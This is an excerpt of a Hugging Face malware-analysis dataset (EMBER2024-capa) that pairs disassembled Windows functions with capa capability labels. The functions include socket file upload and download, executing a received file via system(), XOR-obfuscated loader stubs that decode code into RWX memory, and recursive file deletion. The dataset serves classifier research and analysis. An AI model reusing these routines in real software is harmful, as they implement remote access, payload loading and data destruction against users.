joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015ca
Capabilities:
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], 1
mov dword [esp + 4], 0x40c0c3
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strtok
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 5
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401647
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1e
mov dword [esp + 4], 1
mov dword [esp], str.____Unable_to_allocate_memory_n
call sym._fwrite
mov eax, 0
jmp 0x4016d0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str._04d_s
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [0x40fa24]
mov dword [esp + 0xc], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x4016c2
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Error_sending_data._Error_code:__d_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401bb9
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 1
jmp 0x401c93
mov eax, dword [0x40fa24]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3e8
lea edx, [ebp - 0x3fc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x401c32
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Unable_to_receive._Error_code:__d_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [ebp - 0x10], 0
jmp 0x401c9f
cmp dword [ebp - 0x14], 0
jne 0x401c69
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x18
mov dword [esp + 4], 1
mov dword [esp], str.____Client_disconnected_n
call sym._fwrite
mov dword [ebp - 0x10], 0
jmp 0x401c9f
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x3fc]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jb 0x401bd5
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x401cfe
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 1
call sym._ExtractImgSize
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401d43
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x21
mov dword [esp + 4], 1
mov dword [esp], str.____Unable_to_receive_image_size_n
call sym._fwrite
jmp 0x401d9a
mov dword [esp + 4], 0x40c2ce
mov dword [esp], str.C:UsersYishaiDesktop_screenshot.png
call sym._fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401d76
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RecvScreenshot
test eax, eax
jne 0x401d7d
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
cmp dword [ebp - 0xc], 0
je 0x401d9a
mov dword [esp], str.C:UsersYishaiDesktop_screenshot.png
call sym._system
leave
ret
Function at 0x401e35
Capabilities:
Get system information on windows
Read and send data from client to server
Read file via mapping
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
lea eax, [ebp - 0x40]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileMappingA_24
sub esp, 0x18
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401f45
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
cmp eax, edx
jbe 0x401ea3
mov eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._MapViewOfFile_20
sub esp, 0x14
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x18]
mov eax, dword [0x40fa24]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x401f31
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Unable_to_send_data._Error_code:__d_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._UnmapViewOfFile_4
sub esp, 4
jmp 0x401f51
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._UnmapViewOfFile_4
sub esp, 4
mov eax, dword [ebp - 0x18]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jb 0x401e94
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x401f62
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov dword [esp], str.___Enter_file_to_upload:
call sym._printf
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x3e8
lea eax, [ebp - 0x3f8]
mov dword [esp], eax
call sym._fgets
mov dword [esp + 4], 0x40c0c3
lea eax, [ebp - 0x3f8]
mov dword [esp], eax
call sym._strtok
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x3f8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x402029
lea eax, [ebp - 0x3f8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Unable_to_open_file:__s_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [esp], 0x40c371
call sym._ProtocolSend
jmp 0x4020a9
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x402064
mov dword [esp], 0x40c371
call sym._ProtocolSend
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x4020a9
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40c2a7
mov dword [esp + 4], 0x3e8
lea eax, [ebp - 0x3f8]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x3f8]
mov dword [esp], eax
call sym._ProtocolSend
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._SendFileContent
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x4027b0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40f044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40f03c]
sub esp, 4
test ebx, ebx
je 0x4027fb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4027f4
test esi, esi
je 0x4027f4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4027d0
mov dword [esp], 0x40f044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4029e0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402a30
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402b08
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x402a6e
cmp eax, 4
jne 0x402a90
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x402a7e
cmp edx, 4
je 0x402a7e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004029e0
Function at 0x40a4b0
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call sym.___main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
jne 0x40a4e6
jmp 0x40a51e
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x40a4e3
cmp al, 9
je 0x40a4e3
cmp al, 0x22
jne 0x40a507
jmp 0x40a566
cmp al, 9
je 0x40a513
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x40a500
jmp 0x40a513
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x40a510
cmp al, 9
je 0x40a510
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x40a52d
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x40a572
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x40a562
cmp al, 0x22
jne 0x40a513
lea ebx, [edx + 2]
jmp 0x40a513
Function at 0x4030bb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4030ca
pop dword [ebp - 8]
mov eax, 0xc7a76b16
add eax, 0x3898c5b4
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xf8edc669
sub dword [ebp - 0x18], 0xaa9b811e
mov dword [ebp - 0x14], 0x61dbcdae
add dword [ebp - 0x14], 0xd0577e97
mov dword [ebp - 0x10], 0x681a737f
sub dword [ebp - 0x10], 0x1bce2f51
mov dword [ebp - 0xc], 0xaa9432f8
add dword [ebp - 0xc], 0x556bcd08
lea eax, [ebp - 0x18]
push eax
mov eax, 0xc58df937
add eax, 0x3ab287cd
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x7a585dec
sub dword [ebp - 0x18], 0x5e5f496
mov dword [ebp - 0x14], 0x87edf41b
add dword [ebp - 0x14], 0xb97e6d5a
mov dword [ebp - 0x10], 0x3c4ca5e1
sub dword [ebp - 0x10], 0xd8dd3975
mov dword [ebp - 0xc], 0xe1db6f4a
add dword [ebp - 0xc], 0x1e2490b6
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xa9f79ae1
sub eax, 0xa9b719e1
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x34d6c
push 0
call eax
mov ecx, 0xcb3a1e98
sub ecx, 0xcb39df30
xor ebx, ebx
add ebx, eax
mov edx, str._L1
add edx, dword [ebp - 8]
mov edi, 0x196ef2ba
mov dword [ebp - 4], 0xe0e3f120
mov esi, dword [edx]
add dword [ebp - 4], 0xfee8b759
xor esi, edi
add dword [ebp - 4], 0xa2a6d69e
mov dword [ebx], esi
add ebx, 4
add edx, 0x62462316
sub edx, 0x62462312
loop 0x4031e2
add eax, 0x64c9e2f4
sub eax, 0x64c8f281
mov ebx, eax
add eax, 5
mov ecx, 0x8ddf2e07
add ecx, 0x7260d1f9
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x403fd2
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x17e0]
mov eax, 0x1860
call fcn.0040b390
mov eax, dword [0x41228c]
xor eax, ebp
mov dword [ebp + 0x17dc], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0x17e8]
mov esi, 0x7ff
xor ebx, ebx
push esi
lea eax, [ebp + 0x7dd]
push ebx
push eax
mov byte [ebp + 0x7dc], bl
call sub.MSVCR100.dll_memset
push esi
lea eax, [ebp - 0x23]
push ebx
push eax
mov byte [ebp - 0x24], bl
call sub.MSVCR100.dll_memset
push esi
lea eax, [ebp + 0xfdd]
push ebx
push eax
mov byte [ebp + 0xfdc], bl
call sub.MSVCR100.dll_memset
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0xfdc]
push eax
push edi
mov dword [ebp - 0x28], 0x800
call fcn.004032c7
add esp, 0x34
test eax, eax
jne 0x40405e
xor eax, eax
jmp 0x404162
lea eax, [ebp + 0xfdc]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
cmp byte [ebp + eax + 0xfdb], 0x5c
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
je 0x40408d
lea eax, [ebp + 0xfdc]
push eax
push 0x40e060
push eax
call esi
add esp, 0xc
push str.jqs.exe
lea eax, [ebp + 0xfdc]
push eax
lea eax, [ebp + 0x7dc]
push str._sbin_s
push eax
call esi
lea eax, [ebp + 0x7dc]
push eax
call fcn.00407fd4
add esp, 0x14
test eax, eax
je 0x404057
call fcn.00407fd4
push 0x44
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.MSVCR100.dll_memset
xor eax, eax
lea edi, [ebp - 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x50], ax
lea eax, [ebp + 0x7dc]
push eax
xor edi, edi
lea eax, [ebp - 0x24]
push str.__s___unregister
inc edi
push eax
mov dword [ebp - 0x80], 0x44
mov dword [ebp - 0x54], edi
call esi
add esp, 0x18
lea eax, [ebp - 0x2c]
push eax
push 0x2000000
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404057
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
push ebx
push 0x8000008
push ebx
push ebx
push ebx
lea eax, [ebp - 0x24]
push eax
push ebx
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
cmp eax, ebx
je 0x404057
push 0x7530
push dword [ebp - 0x3c]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
mov eax, edi
mov ecx, dword [ebp + 0x17dc]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b376
add ebp, 0x17e0
leave
ret
Function at 0x4052b7
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x41228c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.00407fd4
mov ebx, eax
cmp ebx, esi
je 0x40532a
lea ecx, [ebp - 0x74]
call fcn.004014c2
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b376
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x405342
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.004052b7
cmp eax, esi
jne 0x405374
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x405332
lea ecx, [ebp - 0x74]
call fcn.004014c2
push dword [ebp - 0x78]
mov ecx, edi
call fcn.00401453
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.004014c2
mov eax, esi
jmp 0x405310
Function at 0x406a9f
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xb0]
sub esp, 0x130
mov eax, dword [0x41228c]
xor eax, ebp
mov dword [ebp + 0xac], eax
mov eax, dword [ebp + 0xb8]
push esi
mov esi, dword [ebp + 0xbc]
push 0x40e490
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
pop ecx
pop ecx
mov dword [ebp - 0x7c], eax
test eax, eax
je 0x406c0a
push esi
call dword [sym.imp.MSVCR100.dll__chdir]
pop ecx
test eax, eax
jne 0x406c0a
mov esi, dword [sym.imp.MSVCR100.dll_fread]
push ebx
push dword [ebp - 0x7c]
xor ebx, ebx
inc ebx
push ebx
lea eax, [ebp - 0x78]
push 0x1e
push eax
call esi
add esp, 0x10
cmp eax, ebx
jne 0x406bff
push edi
cmp dword [ebp - 0x78], 0x4034b50
jne 0x406bfe
cmp word [ebp - 0x70], 0
jne 0x406bfe
movzx eax, word [ebp - 0x5e]
push dword [ebp - 0x7c]
movzx edi, word [ebp - 0x5e]
push eax
lea eax, [ebp - 0x58]
push ebx
push eax
call esi
add esp, 0x10
cmp eax, edi
jne 0x406bfe
lea eax, [ebp - 0x58]
push eax
mov byte [ebp + edi - 0x58], 0
call fcn.00407fd4
cmp word [ebp - 0x5c], 0
pop ecx
jbe 0x406b78
movzx eax, word [ebp - 0x5c]
push ebx
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x406bfe
movzx eax, word [ebp - 0x5e]
cmp byte [ebp + eax - 0x59], 0x2f
je 0x406bde
lea eax, [ebp - 0x58]
push 0x40e494
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
pop ecx
pop ecx
mov dword [ebp - 0x80], eax
test eax, eax
je 0x406bfe
push dword [ebp - 0x62]
call sub.MSVCR100.dll_void____cdecl_operator_new___unsigned_int_
push dword [ebp - 0x7c]
mov edi, eax
push dword [ebp - 0x62]
push ebx
push edi
call esi
add esp, 0x14
cmp eax, dword [ebp - 0x62]
jne 0x406bf7
push dword [ebp - 0x80]
push dword [ebp - 0x62]
push ebx
push edi
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
push edi
cmp eax, dword [ebp - 0x62]
jne 0x406bf8
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x80]
call dword [sym.imp.MSVCR100.dll_fclose]
pop ecx
pop ecx
push dword [ebp - 0x7c]
lea eax, [ebp - 0x78]
push ebx
push 0x1e
push eax
call esi
add esp, 0x10
cmp eax, ebx
je 0x406b12
jmp 0x406bfe
push edi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
push dword [ebp - 0x7c]
call dword [sym.imp.MSVCR100.dll_fclose]
pop ecx
pop ebx
mov ecx, dword [ebp + 0xac]
xor ecx, ebp
pop esi
call fcn.0040b376
add ebp, 0xb0
leave
ret
Function at 0x406e8d
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x10c4]
mov eax, 0x1144
call fcn.0040b390
mov eax, dword [0x41228c]
xor eax, ebp
mov dword [ebp + 0x10c0], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10cc]
push 0x140
lea eax, [ebp - 0x80]
push 0
push eax
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [ebp + 0xc0]
push str._s.
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0xc0]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x406faa
push 0x40e53c
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
je 0x406f76
push 0x40e540
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
je 0x406f76
lea eax, [ebp - 0x54]
push eax
push edi
lea eax, [ebp + 0x8c0]
push 0x40e544
push eax
call esi
mov eax, dword [ebp - 0x80]
add esp, 0x10
and eax, 0xfffffffe
push eax
lea eax, [ebp + 0x8c0]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test byte [ebp - 0x80], 0x10
lea eax, [ebp + 0x8c0]
push eax
jne 0x406f70
call dword [sym.imp.kernel32.dll_DeleteFileA]
test eax, eax
jne 0x406f76
push eax
lea eax, [ebp + 0x8c0]
push eax
call fcn.00402b4e
pop ecx
jmp 0x406f75
call fcn.00406e8d
pop ecx
lea eax, [ebp - 0x80]
push eax
push ebx
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x406ef9
push ebx
call dword [sym.imp.kernel32.dll_FindClose]
push edi
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
mov esi, eax
test esi, esi
jne 0x406fa6
push eax
push edi
call fcn.00402b4e
pop ecx
pop ecx
mov eax, esi
jmp 0x406fad
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x10c0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b376
add ebp, 0x10c4
leave
ret
Function at 0x407fd4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x407fe3
pop dword [ebp - 0x10]
mov eax, 0x407fe3
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x4f7d4356
sub dword [ebp - 0x20], 0x12afe0b
mov dword [ebp - 0x1c], 0x87ac85d2
add dword [ebp - 0x1c], 0xaa86c673
mov dword [ebp - 0x18], 0x112ceebf
sub dword [ebp - 0x18], 0xc4e0aa91
mov dword [ebp - 0x14], 0x566cf41b
add dword [ebp - 0x14], 0xa9930be5
lea eax, [ebp - 0x20]
push eax
mov eax, 0xc1b7acfd
add eax, 0x3e89233b
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x1a034f0f
add dword [ebp - 0x20], 0x5a6f1a47
mov dword [ebp - 0x1c], 0x4d079263
add dword [ebp - 0x1c], 0xf464cf12
mov dword [ebp - 0x18], 0xd93daba3
sub dword [ebp - 0x18], 0x75ce3f37
mov dword [ebp - 0x14], 0x147bcaaf
add dword [ebp - 0x14], 0xeb843551
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x88d6cf24
add eax, 0x776a0110
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3995f
push 0
call eax
mov ecx, 0x87127f7f
sub ecx, 0x87123032
xor esi, esi
add esi, eax
mov edi, 0x94389855
add edi, 0x6c08bbab
add edi, dword [ebp - 0x10]
mov edx, 0xfe993177
add edx, 0x44c4511d
mov dword [ebp - 4], 0x974f348b
mov ebx, dword [edi]
mov dword [ebp - 8], 0x84a9e8aa
add ebx, edx
xor dword [ebp - 8], edx
mov dword [esi], ebx
sub dword [ebp - 8], 0x7f6a5957
add esi, 4
add edi, 0x4ce2e321
sub edi, 0x4ce2e31d
loop 0x408102
add eax, 0xf1344b48
sub eax, 0xf1331b41
xor ebx, ebx
add ebx, eax
add eax, 0x6c356ee9
sub eax, 0x6c356ee4
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
invalid

Function at 0x4082fd
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x408314
test al, 0x10
je 0x408314
xor eax, eax
inc eax
ret
xor eax, eax
ret